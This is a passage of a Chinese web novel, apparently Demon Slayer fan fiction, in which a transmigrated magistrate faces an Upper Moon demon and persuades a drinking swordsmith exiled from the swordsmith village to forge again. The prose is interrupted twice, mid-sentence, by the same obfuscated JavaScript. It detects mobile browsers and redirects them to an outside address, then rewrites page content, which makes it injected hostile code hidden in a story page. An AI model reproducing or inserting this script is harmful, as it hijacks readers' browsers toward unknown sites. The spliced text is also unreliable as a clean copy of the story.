男孩稍稍眯了眯眼,“敢问尊姓大名?” 白城轻笑,“你没资格知道我的名字。” “既然来了,就在这坐会吧。” “我不会对你做什么的。” “你对我做什么?”男孩不解。 “你难道没有发现……”白城勾了勾唇角,银灰色的瞳孔温柔,“你已经联系不上他了吗?” “谁?” “鬼舞辻无惨。” 男孩瞳孔猝地放大,他突然意识到眼前这个人可能就是自己要找的鬼。 可是—— 鬼怎么能直呼鬼舞辻大人的名字? 闻所未闻! 稚澄跟在鬼舞辻大人身边多年,是被他最早转换的那一批鬼,也是无惨大人决定组建十二鬼月后,除了继国严胜大人之外,第一个成为上弦的鬼。 “你认识大人?”稚澄疑惑。 “不止。”白城起身,伸了个懒腰,穿着足袋,松松垮垮地走到稚澄面前,轻轻低头,捻住了他的下巴,“我还认识你。” 下巴上的力道很轻,轻到没有感觉,随便就能挣开。 可稚澄抬头,像是坠进了那银河似的灰眸里。 这人的眼底没有害怕。 而是闲庭信步的惬意,以及一丝不可察觉的怜悯。 他在怜悯什么? 怜悯我吗? 我有什么好被怜悯的? 不对,我见过这个人吗? 我根本不认识他。 稚澄甩头,皱着眉后退半步,“我们见过?” 白城也不在意手被抖落,从口袋里摸出一片方巾细细擦着,“你没见过我,但我见过你。” “在哪?” “你猜?”白城轻轻眨眼。 稚澄嘴一抿,抬手便要捏血鬼术。 “如果我是你的话,就乖乖站在那里不动。”白城背后似乎长了眼睛,“你不会以为,我的性格比无惨还要好吧?上弦之二。” 稚澄兀地抬头。 他变成鬼后的瞳孔很特殊,是纯黑的,上面不像继国严胜大人那样留了名字。 旁人理应不知道他的排位。 除非当真见过自己,或是跟无惨大人私交不浅。 “噢对了。”白城扭头看他。 稚澄猝地掐断了手里的血鬼术。 “乖孩子。”白城勾唇,露了个不甚明显的,嘉奖的笑,“比无惨识相。” “您怎么能直呼大人的名字?”稚澄皱眉问他。 “你也可以。”白城轻轻侧头,睫毛的阴影扫在眼下,澄澈的眼眸望向他,“要不要试试?” “你想骗我!”稚澄很冷静,“想让我亲口叫大人的名字,触犯禁制死去。” 白城笑着摇头,往房里去了,就像是听到三岁孩童的玩笑那样。 留着稚澄一个人,哦不一只鬼站在书房中央。 “把门关上。” 他听见这个自打一开始就在故弄玄虚的鬼轻轻的咳嗽声。 “夜里有风,我最近身子弱。” 稚澄被落在原地,漆黑的睫毛卷翘在空中,他眨了眨眼,手腕轻抬,门便缓缓关上了。 往卧室里走的时候,侧头想到了什么,指尖弹出一道劲风,熄灭了书案上的蜡烛。 在没弄清眼前这只鬼的底细之前,他不会轻易动手。 书房陷入黑暗,卧室的光便遥遥落在他光裸的脚上。 鬼在黑暗中,视力也很好。 他悄无声息地走到白城床头,“鬼为什么要开灯呢?” “可能会让我觉得一切还没有变吧。”白城轻轻喟叹一声,眼神有些怀念,“今晚不走吗?” “当然。”稚澄昂起下巴。 “也好。”白城笑,“在这陪陪我吧。” “我也是好久,没有见过鬼了。” 稚澄站在阴影里,而后发现眼前鬼当真阖上眼睛睡着了。 稚澄有些无语。 哪有鬼晚上睡觉的? 他细腻的手心张开,在白城的脖颈上比划了两下,手指弯曲,确信隔空就能把他掐死。 可从刚才在颅内发给无惨大人的消息就没有被回复。 就像眼前这只鬼说得那样…… 心底那个很多年都是禁制的名字不住从心底顺着喉道,往嘴边逸。 他学着白城的模样,像是被蛇蛊惑着偷吃禁果的亚当。 “鬼……” 成为鬼的那一批人里,有他的哥哥。 他们是一起变成鬼的。 但哥哥因为有一天亲口说出了“鬼舞辻”的名字,眼睁睁地自爆在他面前。 “我能叫吗?” 稚澄仿佛看到高不可攀的禁制一角掀开的模样。 “鬼舞辻……” “鬼舞辻无惨。” 直到口中突出这个名字,稚澄才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16486226|182609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意识到自己刚刚做了什么。 他瞳孔大张,等待着身体里的血液躁动,而后撑破自己的血管,嘭得爆炸,就像哥哥那样。 可一秒。 两秒。 三秒。 …… 足足十分钟过去,屋内很静,只有眼前鬼轻浅的呼吸声。 稚澄神色莫测,意识到眼前这只鬼说的一切都是真的。 他纵身一跃,盘坐在房梁上,居高临下地盯着床下的人,手里把玩着一串血红的檀珠。 鬼的寿命很长,他很有耐心陪这鬼玩玩。 白城一开始是装睡,至少鬼的手掌悬在自己脖子上空不足一厘米的位置的时候,他还清醒着。 可后来就愈来愈困了。 再后来就真的睡过去了。 鬼的气味竟然莫名有着安眠的作用。 这是白城意识模糊前一秒,唯一在思考的事情。 等到天边露出鱼肚白的时候,他感觉有人蹲在自己身边。 怎么可能? 我睡在町奉行所的床上,除了狛治偶尔会跟我一块睡之外,根本不会有人靠近。 白城翻了个身,再翻了个身。 直到身边的视线越来越胶着地黏在皮肤上。 白城终于睁眼了。 然后就看到——上弦之二赤脚踩在自己的枕头上,蹲下身探身在看他。 凭心而论,上弦之二的长相与普通人无异。 黑发黑瞳,扁平鼻,脸颊有雀斑,一眼望去是平凡到不能再平凡的长相,此刻正埋在他身体上嗅着。 可这是鬼啊! 这可是上弦之二! 白城刚睡醒还迷迷糊糊的大脑瞬间爆发出尖锐的警告。 冷激灵硬生生被白城压下来了。 他眯眼,掀开眼皮,缓缓望向稚澄,“下去。” 稚澄歪头,膝盖往前倾了点,都快跪在白城身体上,一双瞳孔恶劣地弯了弯,伸出猩红的舌头舔了舔嘴唇,“不行。” 白城抬手掀开了床帘。 屋外刺眼的阳光瞬间侵占了大半的床铺。 原本半跪在白城头上耀武扬威的鬼,立马缩在了床脚的阴影里。 稚澄皱眉,“你不是鬼?” 白城下床,走到阳光下,对着铜镜梳理睡乱的衣领,感受着温暖的阳光,第一次感受到——活着真好。 差一点。 差一点就死了。 他根本不明白,明明系统说30天后,无惨才能感受到自己的位置。 可今天才区区24天,就被鬼找上了门。 而且从对话可以知道,这鬼确实是被无惨指挥来的,不是意外。 他质问系统。 但系统不语。 他唯一能想到的就是白天喂给鸡的那一滴血。 那一丝独特的血腥味,引得自己被无惨发现。 从落地到现在,白城只有把狛治带回家的时候,获得了系统赠予的3个积分。 而那天为了抱狛治回家,就已经花掉了一积分。 在跟上弦二对话的时候,他同时在一目十行扫着系统商城。 两积分以下可以兑换的东西不少,但大部分都没用。 直到他看见了犄角旮旯里正在打折的能力——“屏蔽无惨指挥下属的声音30秒。” “原价4积分。” “今日五折特价。” 白城自然点了上去。 而后死局就这么盘活了。 14. 锻刀 等到天边露出鱼肚白的时候,白城感觉有人蹲在自己身边。 怎么可能? 我睡在町奉行所的床上,除了狛治偶尔会跟我一块睡之外,根本不会有人靠近。 白城蹭了蹭枕头,翻了个身,再翻了个身。 直到身边的视线越来越胶着地黏在皮肤上。 白城终于睁眼了。 然后就看到——上弦之二赤脚踩在自己的枕头上,蹲下身探身在看他。 凭心而论,上弦之二没有脚气,离得这么近甚至能闻到皂角的香气,作为花魁平日里还是很注意私人卫生的。 你到底在想什么啊! 这可是鬼啊!上弦之二! 白城刚睡醒还迷迷糊糊的大脑瞬间爆发出尖锐的警告。 稚澄长得不差,黑发黑瞳,鼻梁微塌,邻家清秀,脸颊有乖巧的雀斑,此刻蹲在床头左上角的阴影里,埋在他脖颈处嗅着。 他察觉到白城醒了,抬头眨巴两下眼睛,“早上好。” “你在干什么?”白城眯眼,眼角凌厉。 “抱歉,您太香了,我忍不住。” 换作童磨或是无惨说这句话,白城只会觉得他们在挑衅,但上弦二的眼睛意外真诚老实,外加白城手头确实没有能量了。 “滚下去。”白城骂了一声。 稚澄往角落缩了缩,手指点了点,“有太阳。” 白城忍无可忍地一把拉开床帘,清晨温暖的阳光便透了进来。 稚澄早在白城动作之前就躲到了阳光晒不到的角落里。 白城顺手把枕头抛到他脸上,“洗干净。” “不要用脚踩枕头,懂?” 稚澄歪头,乖乖把砸脸上的枕头揭下来,诚恳道,“抱歉,下次不会了。” 还想有下次? 白城冷哼一声,走进了阳光里。 真的是……能晒太阳的鬼欸…… 稚澄匿在阴影里,一双猫瞳眯着,神情难辨,而后就着手头的枕头,把脸埋在里面,又吸了一大口。 真的……很香。 阳光真的很温暖。 “系统,我记得高阶鬼能共享低阶鬼的视野。”从睁眼到下床短短两分钟,白城已经复盘完昨晚生死一线的博弈,“能量兑换的技能只屏蔽了无惨的指令,他昨夜会不会正好共享了上弦二的视野?” 无惨对自己的情报掌握程度,将极大影响战局。 白城必须问清楚。 【经检测宿主仍在新手保护期内,系统将为您屏蔽一切异常。】 “包括无惨对我的感知?” 【您的一切信息在无惨视野都会被合理模糊。请您不要怀疑系统的专业。】 “所以为什么上弦二找到了我?” 【这是一个意外。】 “补偿呢?” 【很抱歉。】 呵呵。 白城冷笑两声。 系统面无表情。 别看了,就抱歉一条。 你如果需要,我可以再发一条。 除了抱歉,一无所有。 不论如何,无惨没有视奸到昨晚发生的一切,对白城来说,就是一个好消息。 信息差是白城目前唯一可以利用的手端,鬼方一旦互相通气,他连挣扎的余地都没有。 白城系上外袍的腰带,感受着熹微的晨光亲吻皮肤的触感,不动声色地吐出一口浊气。 好早上弦二暂时稳住了,虽然稳住他的代价是透露了自己能晒太阳的事实。 这个事实一定要捂住,一旦让无惨知道自己有可以晒太阳的可能,无惨必定不惜一切代价吃掉自己。 到时候鬼杀队全员加一起都保不住自己。 更何况鬼杀队那边也不定是敌是友。 鬼杀队要是知道无惨吃了自己就能正常行走于阳光之下,说不定主公大人第一个命令就是不惜一切代价绞杀自己。 这一届的主公还不知道是什么性格,白城有派人去打听产屋敷一族的消息,但在不暴露自己信息的情况下,对面不愿意派高层来跟自己沟通。 总之联系鬼杀队那边还得从长计议。 白城脑子有点痛。 他把视线落回上弦二的身上,眼前这家伙才是最为棘手的问题。 上弦二知道白城能晒太阳,所以短期内势必不能把他放回无惨身边。 但如果带在自己身边,无惨能感应到上弦二的位置随时会找来。 同时无惨这么多疑的人,发现上弦二一直没有回复自己的消息,一定会起疑心。 而自己已经没有能量去屏蔽上弦二跟无惨的二次对话了。 尽是死局,自己的存在根本捂不住。 白城只能祈祷无惨起疑心的时间能晚些,让自己做准备的时间再多些…… 命运啊……眷顾眷顾这个异世的灵魂吧。 白城别无他法。 白城只能祈祷。 镜子里的自己白发灰眸,长相陌生,就连眉眼都生出上辈子不曾有的杀伐之气。 白城勾勾唇角,试图柔和视线,找回先前那个温暖和煦的眼神,但怎么都不对味。 他有些想家,想手机空调电脑,想幼稚园里那些吵吵闹闹的小孩,想自己的出租屋,想中国的炒菜。 日式料理真的受够了。 这个该死的世界,真的受够了! 但最后,他也只是垂头系上了自己的腰带。 “我要出去一趟。”白城吩咐上弦二,“你在这里等我回来。” “乖一点。”半只脚都跨出门槛了,白城又回头叮嘱了一句,“不准吃人。” 上弦二勾出一个腼腆的笑来,懒懒地躺在床边阴影里,朝白城摆了摆手,示意他知道了。 动作不算尊重。 白城知道他在试探底线。 但此刻手无缚鸡之力,只能听之任之。 白城今早要去城南的一家打铁铺,理由很简单——那家店铺老板的抽屉里藏着半块半天狗的面具。 这是前些天他走访铺子意外发现的。 自落地第一天起,白城就拜托小黑去探查刀匠村的消息,但一无所获。 想来也是,刀匠村本就是隐世村落,消息被产屋敷一族锁死,锻刀技术基本依靠现场教学代际相传。 村里自给自足是独立小型社会,少与外界接触,工匠流落到民间基本是天方夜谭。 老实说,白城不认为那个打铁铺老板跟刀匠村能有什么联系。 但眼下……别无他法。 走出奉行町,白城便右拐抄小路往南走。 与此同时,一墙之隔,狛治背着恋雪往町奉行所冲。 一南一北,擦肩而过。 走到打铁铺的时候,日头已经上来了。 打铁铺门窗紧锁,营业的牌子还没有挂出来。 白城没办法,只能站在门口等,顺手去隔壁买了个饭团愤愤咬着。 勤劳爱岗,工作就给我认真工作啊! 睡到日上三竿到底是怎么一回事! 有求于人,到底不敢露出半点不满,哪怕现在脑袋都拴在裤腰带上了,白城也只能把一切负面情绪全部施加在饭团上。 咬!狠狠咬!大口咬! 三口下去,饭团没了。 “大娘,再给我来一个饭团,要金枪鱼的。” “好嘞。” “大娘,再来一个。” “小伙子真能吃哈!” 是你们胃口太小了。 白城内心吐槽,脸上笑着。 就在白城已经吃饱了,正在犹豫要不要买第四个饭团,以作消遣的时候,屋内终于传来些许响动。 不消一会,一个满脸络腮胡的大叔睡眼惺忪,揉着眼随手拉开了门——而后被仪容齐整立在门口的白城吓了一大跳。 “我嘞个乖乖,你在这干啥子咧!”大叔猛地往后一仰,剑眉一皱,嘴上骂道,“大早上的,吓死个人,真他娘的晦气。” “算了……看起来今天运气不好。”大叔嘟嘟囔囔地拉上门,把手里准备换面挂的营业牌子又翻了回去,“正好睡个回笼觉。” 你去睡觉了我怎么办…… 告诉我! t ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16527697|182609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ellme! why?baby?why? 昨晚没睡好,以至于此刻一连串互联网音频已经在白城脑子里循环播放了。 白城轻轻抹了把脸,甩去胡思乱想,抬手拦住了木门,“抱歉,我有急单。” “急单也不做。”络腮胡把白城手一拨。 白城干脆撩开帘子,半个身体卡进门里,“真急单。” 他抬眼,烟灰色的眸子亮着,“非您不可的急单。” 络腮胡一愣,也不推白城了,站在原地给他从头到脚打量了三巡。 白城自认自己已经用尽了这具身体的美貌,笑出平生最具亲和力的笑容。 而后肩膀传来一股大力。 下一秒,猛地被络腮胡推得踉跄三步,绊倒门槛,差点摔倒。 门砰得在眼前合上,扬起一片混着酒气的尘土。 白城灰头土脸,舔了舔自己的牙齿。 上弦二都没能让自己这么狼狈。 白城后退三步,仔细从满是灰尘的招牌里辨认出字来,而后再次礼貌敲门。 “干什么?”络腮胡拉开门,只露一个小缝,布满红血丝的眼球从缝里透出来,“再吵我报官了啊!” “铁牛打铁铺。”白城轻声念着打铁铺的名字。 “?”铁牛不解。 “没什么,敲门就想告诉您。”白城这回倒真是笑得真心实意,“在下姓白,名城,是江户城的奉行。” “今天这门,您还真得开。” “不然,你也不想被捕吏包围吧?” 络腮胡怔在原地。 “如果您还想在这继续做生意的话……”白城礼貌笑笑,“还是放我进去谈谈比较好,你觉得呢?” 门砰地关上。 白城看着原木色的门扉,心觉有些麻烦。 不到半秒,络腮胡扎着小辫,热情满面地拉开门,腰躬着手迎着,“哟,客官,来打铁啊,里面请里面请!” 以势压人,真他妈好用! 权力!懂不懂什么叫权力! “哪里哪里。”白城也同样福了福身,笑容满面地恭维道,“我才刚来,就撞上您营业,这不巧了吗!” “诶哟!哪里的话。”铁牛自知让白城久等了,“我这还有昨天在地里刚摘的西瓜,顾客送的,还没开呢,您要不来一口?放井水里冰着,眼下吃正好呢!” “不劳烦了。”两人你来我往好一会,走到柜台边,白城终于切入正题,直勾勾地看着铁牛,“我来锻一柄刀,一柄赫刀,一柄赤红如铁的刀。” 方才还闹腾的室内突然静了。 铁牛也缓缓把背直了起来,常年浸于酒色的眸子变得锐利,像鹰一样直勾勾地回望,“奉行大人,您说笑了,在下只会打铁,不会锻刀。” 与此同时,町奉行所。 狛治把恋雪安置在自己房里,而后直奔白城书房去。 “欸欸欸,狛治。”小黑拦住了他,“奉行大人让我在这守着,说今天一个人都不让进去。” “?”狛治又想到昨天在书房门口嗅到的那丝气味,当时没发觉,现在想来就是血的味道,他直说,“我昨天在里面闻到了血腥味,我怕他出事。” “奉行大人今早出去了。” “面色怎么样?” “苍白,像是没睡好。”小黑回忆。 “让我进去看看。”狛治攥住小黑的手,“就一下,我担心他。” 小黑也觉得昨夜白城让自己回去睡觉有些怪。 两个人一合计,小黑就放狛治进去了。 狛治熟门熟路,在外间随便扫视两眼,便大步往内间走。 内室一眼扫去无恙,唯有床帘严丝合缝地关着。 没拉床帘? 狛治心生奇怪,往前靠近两步,而后僵在了原地。 里面有声音,呼吸声,气息绵长,不似白城。 还未等他先动作,门帘就已经缓缓拉开一角。 上弦之二匿在阴影里看着他,猩红的舌头一闪而过。 “你是谁?!为什么会在白城的屋子里!?” 15. 刀匠 狛治死死盯着床榻上的人。 他能感觉到,这人很强,非常强。 他真的是人吗? 狛治脑子里突然冒出这个想法,真的有人的眼睛是纯黑的,没有一丝眼白吗? “你是谁?”狛治问他。 稚澄不语,只是咧开嘴,舔了舔自己的牙齿,让狛治看自己猩红的舌尖。 “你为什么在白城大人屋里?”狛治语调升高,上前两步,攥住床帘,本想拉开,却发现自己身体僵在原地,完全不能动弹。 “嘘——”稚澄把指尖比在唇前竖着,“小朋友,要安静。” “原来他叫白城啊……”稚澄回味着昨晚的味道,舌尖缱绻地念着名字,“白……城……白城……白城白城。” “真是个好名字。”他低低地笑。 狛治瞪着眼睛看他。 “白大人那么强,我怎么可能对他做什么呢?”稚澄微微一笑,换为跪坐在床,向狛治轻轻行礼,“初次见面,虽然有些不礼貌。” “我名叫稚澄,白大人昨晚叫我留宿在此。” 狛治依旧僵硬不能动。 稚澄皱眉看他,而后恍然大悟,“不好意思,没注意你动不了。” “保持礼貌,不要让阳光晒到我。”稚澄笑眯眯地跟狛治打商量,“可以吗?小朋友。” “我毕竟是白大人的客人,你也不想他回来生气吧?” 狛治还瞪他。 “答应的话,就眨眨眼。” 狛治僵持半秒,缓缓眨动眼皮。 “不对哦,这个眼神不乖噢。”稚澄像教导幼稚园的孩子那样,侧头表示不赞同。 狛治面部肌肉抽动了两下,过了许久,再次眨了眨。 稚澄也玩够了,打了个哈欠,往被子上一窝,“可以动了,要礼貌噢~” 狛治这才发现身体已经麻了。 差距是天堑。 “你不是人。”狛治笃定。 “噢?”稚澄兴味盎然地问,“那我是什么?你觉得我像什么?” “鬼。”狛治一字一顿,“吃人的鬼。” “你喜欢吗?”稚澄贴近狛治的脸,在阴影的边缘嗅着他。 “恨。”狛治不敢多说,只是直勾勾地盯着他。 影刃覆盖上表面的皮肤,稚澄把手伸到太阳下揉了揉狛治的脸蛋,“真可爱啊~” 影刃一进阳光,像水滴落入烧干的红锅,嘭地就消散了,但稚澄早在前一秒缩回了阴影里,“既然来了就陪我坐一会吧小鬼。” 稚澄懒懒把团成一团的被子往上提了提,修长的腿夹住,如墨的长发就散在床单上。 “他允许你上他的床?”狛治皱眉,问出的却是风马牛不相干的话题。 “嗯。”稚澄眨巴眼睛,“他很热情,很大方。” “你们什么关系?”狛治并不想给自己找一个后妈。 “……”稚澄仰头作思考状。 狛治有些紧张,要知道在此之前,他还是白城唯一宠爱的小孩! “秘密。”稚澄朝他抛了个媚眼,而后故作神秘。 “……” 不能说脏话。 我答应过白城大人,不能说脏话。 狛治一口牙都咬碎了,闷闷坐到外头桌上,给自己灌了一大壶茶。 “好喝吗?”稚澄逗他,“白大人昨晚特地为我一个人泡的。” 狛治扭头瞪他,过了一会,缓缓扬出一个恶劣的笑来,“想喝吗?自己出来拿啊。” 说罢,仰头大口灌着。 “还是热的好喝。”稚澄也不恼,笑眯眯地继续逗他。 城南,打铁铺。 “奉行大人,真的。您看我就是个小本生意,哪会锻刀那么高深的技法啊?”铁牛一拍脑袋,“你说这打铁都是我自个一个人琢磨出来的,这锻刀也没老师教啊。” “哦?”白城不动声色,只是陪着笑脸,一边在他屋里闲逛,“这内室能进吗?我最近正在考虑内室布局,正想参考参考。” 骗鬼的理由。 但官大一级压死人。 “可以是可以。”铁牛爽朗一笑,“就是可能不太好看。” 他把门一拉,满室酒气扑面而来。 白城面上没有半点表现,只是沉眉往里走,一不小心踢到空酒壶,瓶身轱辘滚到墙边停住。 “您酗酒?”他蹲下身,扶起倒地的壶身。 “偶尔喝喝。”铁牛挠头,“助眠么不是。” “度数可不低。”白城嗅了嗅,“睡不着?有烦心事?” “嗐!”铁牛摆摆手,“别说我一个打铁匠了,就连您都有烦心事,我怎么可能没有呢!对吧!” “说来听听,说不定我能帮你解决。”白城漫不经心地把玩着酒壶。 “心病。”铁牛打哈哈,“医生都瞧了,没用。” “那医生知不知道……”白城不知何时已经转到柜台旁,迅雷不及掩耳之势打开抽屉,手指在其中摸索两下,果不其然摸到上次看到的半截面具。 面具的漆早已斑驳,面部赤红如血,双眉漆黑如怒,最标志性的长鼻已然断裂,鼻梁左侧三毫米的位置断面平整,像是用刀砍的。 铁牛先是伸手想拦,但看白城已经拿在手里端详,粗大的指尖动了动,便再没说话。 白城捻了捻面具,反过来,把它放在铁牛脸上比划,“合适,面宽正好,头围也正好,鼻子是鼻子,眼睛是眼睛的,这不巧了么。” “嗐,小孩玩的面具。”铁牛打哈哈。 “我见过这面具。”白城视线如刀,吐出关键字,“半天狗,刀匠村。” “奉行大人。”铁牛在面具后的声音也冷了下来,“我不锻刀,不会锻刀,如果没事,还请回吧。” 白城摇头,在身后的墙面找到了一个突出的铁钉,把面具挂上去正好,不歪不斜,分毫不差,“你是从刀匠村被赶出来的。” “我能让你回去。” “你是谁?” “让你名垂青史的人。” 铁牛嗤笑一声,“请回吧,奉行大人。在下没听说过什么刀匠村。” “那这个半天狗面具呢?”白城巡视着这间铺子,来之前他派人查过资料,“你十年前来到江户,租了这间铺子,开了这间打铁铺。” “干活麻利,手艺好,有口皆碑,农具蹄铁有个磕碰,十里八乡都愿意来找你补。” “这么多年的收益早该把这间铺子买下了。”白城靠近他,轻抬下巴,贴近他的眼睛,“为什么不买呢?明明在这住得很舒服不对吗?” “一个人在一座城,只租不买,要么房价在跌,要么他没钱,要么他在这座城没法养老,入不敷出。” “有没有可能只是不喜欢呢?”铁牛无奈地笑。 “有可能。当然有可能。”白城绕着他踱步,“那又为什么要在一个不喜欢的城市待十年呢?明明你的手艺在任何一个地方都能够吃得上饭。” “为什么呢?”白城打了个响指,“因为江户也好,京都也好,大阪长崎它们都不是刀匠村。” “你想回去,但回不去。你想锻刀,但不能锻刀。” “所以只能整日酗酒,用日复一日的打铁和酒精来麻痹自己。” 铁牛面无表情,常年打铁的身体健壮,整个人像山一样,没有否认 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“无数人会在博物馆的一次不经意地回首中看到你的作品。” “钻研多年的学者大师会特地组成团队试图复刻你锻刀的过程。” “人们会交口称颂这神之技法,曾在江户时代,创造出不可置信的奇迹!” “刀匠村会后悔把你一个天才这么逐出去。”白城不知何时又蹿到铁牛耳边,声音如同大海塞壬,轻声引诱着,“最有名望的长老会悔不当初,会低声下气三谒九叩地求你回去。” “闭嘴!”铁牛猛地攥住自己的头发狠狠往下一扯,如铁般坚实的双臂高举着猛地向下一挥,眼睛赤红地盯着白城,“不准你这么侮辱刀匠村!大家世世代代都潜心研究锻刀,不准你这么恶意地去……” 铁牛语塞,说不出来。 “去什么?用功利心来揣摩他们的钻研?用成果来量化他们的付出?”白城适时补上。 铁牛喘着粗气。 “但你心动了……”白城的拳头轻轻抵住铁牛的心脏,注视着他眼底死灰复燃的野心,“你心动了。” 说罢,他轻轻一笑,后退半步。 那抵住心脏的力道就猝地散了。 铁牛猛地抬头望向白城,甚至不自觉地向前走了半步。 可白城抬眼,往屋外看,此刻艳阳高照,阳光刺眼,他抬手遮了遮眼睛,“肚子饿了,我去吃碗面。” 他留给铁牛思考的空间,“一个时辰后,我会来找你。” “希望您,能给出一个满意的答复。” 拉开木门离开的时候,白城扭头,白皙的脸因为背光看不分明,于是那双烟灰色的眸子就更加真诚,“实不相瞒,我觉得你是个天才,锻刀的天才。” “您能锻出一柄世界上最完美的刀。” 他走了。 门被轻轻阖上。 大片扑洒进来的阳光被门再次遮挡,酒气重新萦绕在这间屋子里。 铁牛站在原地愣了好一会,有些蹒跚地回身,走到了柜台前。 红黑的面具静静躺在桌上。 铁牛凝视老久。 五分钟。 十分钟。 或是更久。 伴随一声为不可闻的叹息,布满老茧的指尖轻轻的点在半天狗的鼻面。 而后一整张手都覆了上去。 指肚轻柔拂开浮尘。 铁牛一屁股倒在躺椅上,把面具拿在手里,高高举在眼前,就那么望着。 16. 牛虎 “我一定会锻出天下第一的刀!” 漆黑的刀直指天空,刀面映着浅草斜阳,少年雄心壮志迎风流泪,朝着脚下的村落放声大喊,激得水边的鸭子都潜进水底。 山顶风大,背后披着的红色床单猎猎作响。 “铁牛回去了。”旁边一个小手替他转了转刀,一边用手挡开往自己脑袋上盖的被单,“阿妈要是知道你又偷偷拿床单披肩上,你又要挨揍了。” 铁牛回家的时候,总觉得视野里有黑点,拿着指头一个劲地揉,没看路一个踉跄差点滚下去,“虎子,你帮我看看是不是沙子进眼睛了,” “我可不能瞎,我瞎了世界上就损失一个珍贵的锻刀天才了。” 虎子踮起脚,捧住他的脸,仔细瞧,“没有。” “一定有,你再仔细瞧瞧!”铁牛不信,咯吱窝夹着刀,自己拨开眼皮,往虎子脸上凑,“总有黑点,四处乱跑,还彩色的。” “太阳刺到了就会这样。”虎子放下心来,“过一会就好了。” “我不信,太阳为什么刺我不刺你?”铁牛觉得虎子在糊弄自己。 因为你用刀指太阳的时候,阳光射在刀面,全反进你眼睛了。 虎子心想。 但虎子不说,只是乖乖跟在铁牛身后,摇头道:“我也不知道。” “宫本铁牛!你又把床单拿出去玩!我今天刚洗的!”一进门阿妈提着个笤帚就冲上来了。 笤帚是今年高粱穗新编的,甩在腿上就是一道道印。 虎子一边帮拦,一边劝架,没一会小臂全红了。 两人趴在床上涂药的时候,铁牛很郑重地拍了怕他的肩膀,“等我以后发达了,一定带着你小子。” “够义气。”铁牛比了个大拇哥。 虎子抬头看他,然后点了点头,“你如果成为世界第一的锻刀师,那我就要当世界第二。” “我们永远也不要分开。” “我答应你。”铁牛一拍胸口,“拉钩,骗人是小狗。” 虎子伸出小指头勾了上去。 “欸欸欸,大拇指要这样。”铁牛把人重新拽回来,掰着人的大拇指,“这样印到一起才算数。” 指尖软软抵在一起,用力到发白。 “说好了哦。”铁牛说。 虎子认真看着自己的大拇指,朝铁牛点头,“嗯,说好了。” ———— “铁牛,我们回去吧。”风箱呼呼响,虎子站在炉火边,火光印得脸颊火红火红的,“天黑了,再晚,阿妈会担心的。” 铁牛头也没抬,一手拉着风箱,专心致志地盯着火炉的温度,等铁块变成橙红色,立马钳出来,放在铁砧上。 还没等抡起大锤,就听见虎子低声说,“温度低了,还得再烧一会。” 铁牛仔细观察了一下,“那就再烧一会。” 铁块又放回炉子里加热,铁牛拉着风箱,两个人沉默地看着炉膛橙红的光。 “虎子你走吗?”虎子的同学扯他袖子,催促他,“再晚门口的团子就没了!” “你们先回吧。”虎子拨开同学的手,“我等他。” 同学对视两眼,推推搡搡地走了,“明天师父说我们可以正式开始锻刀了。” “你说我能不能一次成功锻出一把日轮刀来?”同伴们叽叽喳喳地声音远去了。 “你先回去吧虎子。”铁牛过了一会才想起来虎子在等自己,朝他笑笑,“我再多练会。” “我陪你吧。”虎子抱着膝盖蹲在旁边。 “好。”铁牛答应了。 “可以了。”虎子一直在观察炉膛的温度还有铁料的状态。 铁牛再一次把铁料钳出来,抡起大锤往铁砧上砸。 力道有些大了。 节奏也不对。 虎子蹲在旁边看着。 “你往远处去些,别刮到你了。”铁牛推推他的肩膀。 虎子摇头,仰头看他,“你不会的,我相信你。” 铁牛一愣,而后揉了揉他的头发。 两人锻菜刀锻到很晚。 “托你的福。”铁牛对着铁砧上的料子左看又看,很满足,“好像有点成型了。” “好!回家!明天继续!”铁牛拍拍手,清了灰,关了炉膛,整好工具,虎子就在旁边给他打下手。 明月落入竹林缝里,地上疏影横斜,铁牛神采奕奕,掰着指头在算,“这个月好好锻好菜刀。” “下个月就能晋升到中级班,学习锻造复合料子了!” “在下个月就能追上你,就也能开始锻日轮刀了。” “嗯。”虎子跟着他的影子,“打好基础最重要,后面都很快的。不难。” “对!”铁牛朝着空气挥挥拳头,“加油加油!” “对了铁牛。” “嗯?” “关于打铁的力道……”虎子轻声慢语地拆碎了跟他讲。 “噢!原来是这样。”铁牛恍然大悟,“我明天试试。” ———— “欸,铁牛。”杂役清扫着炉膛,“你怎么还在这锻料子,今天是鬼杀队柱来挑选刀匠的日子,你怎么不去看看?” 说完又顺着大门往庆典方向看,面露羡慕,“你说人和人的差距真大啊,怎么虎哥就那么天才呢?” “欸……听说虎哥第一次锻日轮刀,就一次成功了。” “这对时机和火候的把握都不是盖的。” “这就是天才吗?” 铁牛一锤一锤往料子上抡,手臂的肌肉绷得死紧,努力控制着力道和节奏,没有分心半点。 晚上十一点,铁牛清扫完炉膛,在竹林口遇到了等自己的虎子,“其实不用等我的。” 铁牛跟他一块往家走。 虎子说:“没有等,忙完就这个点了。” 自从虎子在同龄人里出名后,铁牛就不让他来自己的锻造室了。两人约着每天在竹林碰头,再一起回家。 两人沉默,一路无话。 “今天……有柱来了啊?”铁牛踩着竹叶的影子,故作平淡,“你有被挑中吗?” 虎子没有说话。 